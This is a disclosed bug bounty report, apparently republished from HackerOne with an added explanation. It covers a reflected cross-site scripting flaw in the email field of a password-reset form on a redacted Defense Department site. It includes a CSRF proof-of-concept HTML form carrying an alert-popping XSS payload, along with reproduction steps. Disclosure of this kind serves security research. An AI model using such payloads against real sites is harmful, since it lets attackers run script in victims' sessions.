Skip to content
XSS Disclosed report Beginner

POST based RXSS on https://█████ via frm_email parameter

A password-reset form reflected unsanitised input from the email field back into the page, allowing script execution. An attacker could run JavaScript in a victim's browser by getting them to submit a crafted form.

nagli Follow

Originally disclosed on HackerOne

  • Triaged in 4 hours
  • Fixed in 3 months
  • Disclosed after 3 months

Good Afternoon DoD team,

##Summary: I have discovered that on the following domain https://███████ there is Post-Based reflected XSS vulnerability which i can trigger with CSRF (and Clickjacking) due to unsanitized input inside the frm_email parameter

##Description

The vulnerable path is: https://███

##CSRF html code for you to reproduce:

JavaScript
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://███" method="POST">
      <input type="hidden" name="action" value="FFEXT&#95;forgotpw" />
      <input type="hidden" name="token" value="██████████" />
      <input type="hidden" name="frm&#95;email" value="&quot;&gt;&lt;img&#32;src&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="hidden" name="frm&#95;zip5" value="NONE" />
      <input type="hidden" name="cmd&#95;submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

##Steps To Reproduce (As an attacker):

  1. Navigate to https://███████
  2. Enter arbitrary text on the email field and NONE on the zip field
  3. Capture the request on burp, change the payload on the email field to "><img src onerror=alert(document.domain)>
  4. Craft a CSRF PoC and an alert will pop upon clicking.

:-)

████████

##PoC Video:

████

##Best Regards, nagli

Impact

Attacker can execute JS code on the Victim Behalf.

The original report as published on HackerOne, by nagli. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application echoed the frm_email value into the response without encoding it, so markup in the value was rendered as HTML.

Impact

An attacker could execute JavaScript in the victim's browser and act on their behalf, though the report does not show any defence being bypassed.

What the attacker needed

Victim clicks a crafted page; reset form reachable

How it was found

  1. Open the site and go to the password-reset form.
  2. Enter any text in the email field and NONE in the zip field.
  3. Intercept the request and replace the email value with an image tag carrying an error handler.
  4. Build a cross-site request forgery page that submits the same form and observe the alert when it is clicked.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

If a site shows typed text back without cleaning it, an attacker can put code in that text and the victim's browser will run it, letting the attacker run script in the victim's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by nagli

View all

33 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.